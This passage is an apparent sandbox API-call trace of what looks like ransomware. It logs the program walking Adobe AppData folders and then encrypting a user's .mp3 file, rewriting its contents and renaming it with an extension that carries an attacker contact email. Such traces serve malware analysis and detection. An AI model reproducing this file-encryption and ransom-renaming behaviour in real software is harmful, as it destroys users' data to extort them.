HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" [0051.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4168a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248 [0051.311] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b8330 | out: lpFindFileData=0x4b8330*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0051.311] FindClose (in: hFindFile=0x440860 | out: hFindFile=0x440860) returned 1 [0051.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8330) returned 1 [0051.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447d38) returned 1 [0051.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e6b8) returned 1 Thread: id = 589 os_tid = 0xbe8 [0049.903] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x416ed0 [0049.903] wcscpy (in: _Dest=0x416ed0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" [0049.903] wcscat (in: _Dest=0x416ed0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\" [0049.903] wcscat (in: _Dest=0x416ed0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*" [0049.903] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8598 [0049.903] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x4b8598 | out: lpFindFileData=0x4b8598*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4405a0 [0051.480] wcscmp (_String1=".", _String2=".") returned 0 [0051.480] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8598 | out: lpFindFileData=0x4b8598*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.480] wcscmp (_String1="..", _String2=".") returned 1 [0051.480] wcscmp (_String1="..", _String2="..") returned 0 [0051.480] FindNextFileW (in: hFindFile=0x4405a0, lpFindFileData=0x4b8598 | out: lpFindFileData=0x4b8598*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d40bff0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d40bff0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetCache", cAlternateFileName="ASSETC~1")) returned 1 [0051.480] wcscmp (_String1="AssetCache", _String2=".") returned 1 [0051.480] wcscmp (_String1="AssetCache", _String2="..") returned 1 [0051.480] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4ee338 [0051.480] wcscpy (in: _Dest=0x4ee338, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" [0051.480] wcscat (in: _Dest=0x4ee338, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\" [0051.480] wcscat (in: _Dest=0x4ee338, _Source="AssetCache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" Thread: id = 590 os_tid = 0xbec [0049.906] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417aa0 [0049.906] wcscpy (in: _Dest=0x417aa0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights" [0049.906] wcscat (in: _Dest=0x417aa0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\" [0049.906] wcscat (in: _Dest=0x417aa0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*" [0049.906] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8800 [0049.906] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x4b8800 | out: lpFindFileData=0x4b8800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4409a0 [0051.489] wcscmp (_String1=".", _String2=".") returned 0 [0051.489] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x4b8800 | out: lpFindFileData=0x4b8800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.489] wcscmp (_String1="..", _String2=".") returned 1 [0051.489] wcscmp (_String1="..", _String2="..") returned 0 [0051.489] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x4b8800 | out: lpFindFileData=0x4b8800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0051.489] FindClose (in: hFindFile=0x4409a0 | out: hFindFile=0x4409a0) returned 1 [0051.489] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8800) returned 1 [0051.489] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417aa0) returned 1 [0051.489] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4465d8) returned 1 Thread: id = 591 os_tid = 0xbf4 [0049.907] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x417b30 [0049.907] wcscpy (in: _Dest=0x417b30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" [0049.907] wcscat (in: _Dest=0x417b30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\" [0049.907] wcscat (in: _Dest=0x417b30, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*" [0049.907] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8a68 [0049.907] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4406a0 [0051.247] wcscmp (_String1=".", _String2=".") returned 0 [0051.247] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.247] wcscmp (_String1="..", _String2=".") returned 1 [0051.247] wcscmp (_String1="..", _String2="..") returned 0 [0051.247] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0051.247] wcscmp (_String1="Dictionaries", _String2=".") returned 1 [0051.247] wcscmp (_String1="Dictionaries", _String2="..") returned 1 [0051.247] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43dbd0 [0051.248] wcscpy (in: _Dest=0x43dbd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" [0051.248] wcscat (in: _Dest=0x43dbd0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\" [0051.248] wcscat (in: _Dest=0x43dbd0, _Source="Dictionaries" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries" [0051.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43dbd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0051.421] FindNextFileW (in: hFindFile=0x4406a0, lpFindFileData=0x4b8a68 | out: lpFindFileData=0x4b8a68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0051.421] FindClose (in: hFindFile=0x4406a0 | out: hFindFile=0x4406a0) returned 1 [0051.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8a68) returned 1 [0051.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417b30) returned 1 [0051.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447298) returned 1 Thread: id = 592 os_tid = 0xbfc [0049.910] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x417bc0 [0049.910] wcscpy (in: _Dest=0x417bc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2" [0049.910] wcscat (in: _Dest=0x417bc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\" [0049.910] wcscat (in: _Dest=0x417bc0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*" [0049.910] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8cd0 [0049.910] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x4b8cd0 | out: lpFindFileData=0x4b8cd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4409a0 [0051.488] wcscmp (_String1=".", _String2=".") returned 0 [0051.488] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x4b8cd0 | out: lpFindFileData=0x4b8cd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.488] wcscmp (_String1="..", _String2=".") returned 1 [0051.488] wcscmp (_String1="..", _String2="..") returned 0 [0051.488] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x4b8cd0 | out: lpFindFileData=0x4b8cd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0051.488] FindClose (in: hFindFile=0x4409a0 | out: hFindFile=0x4409a0) returned 1 [0051.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8cd0) returned 1 [0051.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417bc0) returned 1 [0051.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417620) returned 1 Thread: id = 593 os_tid = 0x41c [0049.910] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\1APn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\1apn.mp3")) returned 0x20 [0049.911] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\1APn.mp3", dwFileAttributes=0x20) returned 1 [0049.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\1APn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\1apn.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x268 [0049.911] GetFileSizeEx (in: hFile=0x268, lpFileSize=0xc7bf8b4 | out: lpFileSize=0xc7bf8b4*=10809) returned 1 [0049.911] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x2a35, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.911] ReadFile (in: hFile=0x268, lpBuffer=0xc7bf838, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc7bf834, lpOverlapped=0x0 | out: lpBuffer=0xc7bf838*, lpNumberOfBytesRead=0xc7bf834*=0x4, lpOverlapped=0x0) returned 1 [0049.912] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.912] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edbd8 [0049.912] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edc00 [0049.912] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edc28 [0049.912] NtQuerySystemTime (in: CurrentTime=0xc7bf814 | out: CurrentTime=0xc7bf814*=132174898138968000) returned 0x0 [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x66c684e6 [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x61a06359 [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x44e0acbe [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x390e471d [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0xdbfd292 [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x7cfeffb1 [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x57dff88b [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x47cd44ef [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x3a524e29 [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0xba9242e [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x27d8f3ad [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x257c0e11 [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x677f34ec [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x7a926f7c [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x3d534c12 [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x2e1b7486 [0049.912] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x7e9c0abf [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x6af4bd6 [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x3390ddd5 [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x878eed3 [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x4325b64b [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x24e93b8d [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x878f36a [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x62fa19cb [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x162a3d19 [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x60590c55 [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x3cfa643f [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x78cc2db5 [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x529b8a2 [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x1f74ff8f [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x68d0e49c [0049.913] RtlRandomEx (in: Seed=0xc7bf820 | out: Seed=0xc7bf820) returned 0x709473d8 [0049.925] ReadFile (in: hFile=0x268, lpBuffer=0x9721820, nNumberOfBytesToRead=0x2a39, lpNumberOfBytesRead=0xc7bf810, lpOverlapped=0x0 | out: lpBuffer=0x9721820*, lpNumberOfBytesRead=0xc7bf810*=0x2a39, lpOverlapped=0x0) returned 1 [0049.925] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.925] WriteFile (in: hFile=0x268, lpBuffer=0x972e028*, nNumberOfBytesToWrite=0x2a39, lpNumberOfBytesWritten=0xc7bf80c, lpOverlapped=0x0 | out: lpBuffer=0x972e028*, lpNumberOfBytesWritten=0xc7bf80c*=0x2a39, lpOverlapped=0x0) returned 1 [0053.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413c0 [0053.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441758 [0053.231] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441758) returned 1 [0053.231] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x972e028) returned 1 [0053.231] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9721820) returned 1 [0053.231] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a420) returned 1 [0053.231] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4025b8) returned 1 [0053.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1d) returned 0x441758 [0053.231] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.231] WriteFile (in: hFile=0x268, lpBuffer=0x44e8a0*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xc7bf874, lpOverlapped=0x0 | out: lpBuffer=0x44e8a0*, lpNumberOfBytesWritten=0xc7bf874*=0x101, lpOverlapped=0x0) returned 1 [0053.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e8a0) returned 1 [0053.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441780) returned 1 [0053.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441410) returned 1 [0053.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441758) returned 1 [0053.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4413c0) returned 1 [0053.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edc00) returned 1 [0053.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edc50) returned 1 [0053.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edc78) returned 1 [0053.517] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x45c298 [0053.517] wcscpy (in: _Dest=0x45c298, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\1APn.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\1APn.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\1APn.mp3" [0053.517] wcscat (in: _Dest=0x45c298, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\1APn.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\1APn.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0053.517] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\1APn.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xc7bf82c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS 